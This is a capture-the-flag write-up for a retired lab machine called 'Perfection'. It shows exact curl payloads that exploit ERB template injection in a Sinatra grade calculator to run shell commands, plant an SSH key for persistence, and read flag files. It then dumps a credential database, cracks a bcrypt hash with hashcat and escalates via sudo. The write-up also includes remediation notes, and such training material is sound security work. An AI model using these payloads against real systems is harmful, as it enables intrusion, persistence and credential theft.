Perfection
Summary
I found a weighted grade calculator on an nginx-proxied Ruby Sinatra web application that rendered user-submitted category names through Ruby's ERB template engine without sanitization. Injecting a newline character followed by an ERB expression tag into the POST parameter caused the template engine to evaluate arbitrary Ruby code, confirming server-side template injection.
Escalating to ERB backtick syntax gave full OS command execution running as the susan OS user — whose account both owned the web process and held unrestricted sudo rights on the host. The user flag was read directly from disk via the unauthenticated HTTP endpoint; then my own SSH public key was written into susan's authorized_keys through the same code-execution channel, converting a web exploit into a persistent interactive shell.
From that shell, a SQLite credential database in susan's home directory yielded her bcrypt-hashed password, and a plaintext administrative email in her system mailbox revealed the exact password construction rule — a fixed prefix followed by nine decimal digits — collapsing the keyspace to one billion candidates. A hashcat mask attack recovered the plaintext password in minutes; authenticating sudo with it gave a root shell and completed full host compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <paste_full_hash_here> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
Full TCP scan with service version detection; identifies SSH 22 and nginx 80.
$ nmap -sV -p- --open -T4 $TARGETExact commands 3
Check the root page and HTTP response headers for technology hints.
$ curl -sS -i http://$TARGET/Directory brute-force to discover /weighted-grade-calc.
$ gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 30Trigger the Sinatra 404 page to confirm the ERB-capable Ruby backend.
$ curl -sS http://$TARGET/nonexistent-pathExact commands 1
The bash $'...' quoting embeds a real newline before the ERB tag. '49' in the response confirms template injection.
$ curl -sS -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%=7*7%>' -d 'grade1=1' -d 'weight1=100' -d 'category2=B' -d 'grade2=1' -d 'weight2=0' -d 'category3=C' -d 'grade3=1' -d 'weight3=0' -d 'category4=D' -d 'grade4=1' -d 'weight4=0' -d 'category5=E' -d 'grade5=1' -d 'weight5=0'FixSanitize all user input before it reaches the ERB template engineCritical
cat /home/susan/user.txt; id output confirmed uid=1001(susan) groups=1001(susan),27(sudo).Exact commands 2
Returns <user.txt>.
$ curl -sS --max-time 8 -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%= `cat /home/susan/user.txt 2>/dev/null` %>' -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20' | grep -Eo '[a-fA-F0-9]{32}'Confirm the effective OS user and sudo group membership before proceeding.
$ curl -sS --max-time 8 -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%= `id; whoami; groups` %>' -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20'Exact commands 3
Generate a throwaway keypair on my machine.
$ ssh-keygen -t ed25519 -N '' -f /tmp/perfection_keyExpand the public key locally and push it into authorized_keys via the ERB RCE channel.
$ pub=$(cat /tmp/perfection_key.pub) && curl -sS -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode "category1=Art\n<%= \`mkdir -p /home/susan/.ssh && echo '$pub' >> /home/susan/.ssh/authorized_keys && chmod 700 /home/susan/.ssh && chmod 600 /home/susan/.ssh/authorized_keys\` %>" -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20'Open an interactive shell as susan using the injected key.
$ ssh -i /tmp/perfection_key susan@$TARGETFixRun the web application as a dedicated service account with no interactive home directoryHigh
Exact commands 2
Dump all rows from the credentials table; note the bcrypt hash for susan.
$ sqlite3 /home/susan/Migration/pupilpath_credentials.db "SELECT * FROM users;"Read the administrative email; reveals the password format <withheld> + 9 digits.
$ cat /var/mail/susanFixSecure credential storage and eliminate predictable password patternsHigh
Exact commands 4
Save the bcrypt hash extracted from the SQLite DB; replace the placeholder with the exact hash string.
$ echo '$2a$12$<paste_full_hash_here>' > /tmp/susan.hashMask attack against bcrypt (mode 3200). Recovers the password in minutes given the constrained format.
$ hashcat -m 3200 /tmp/susan.hash -a 3 "$PASSWORD?d?d?d?d?d?d?d?d?d"From the SSH session as susan; enter the cracked password when prompted. Produces a root shell.
$ sudo -iRead the root flag: <root.txt>.
$ cat /root/root.txtFixRemove unrestricted sudo privileges from the web application user accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx |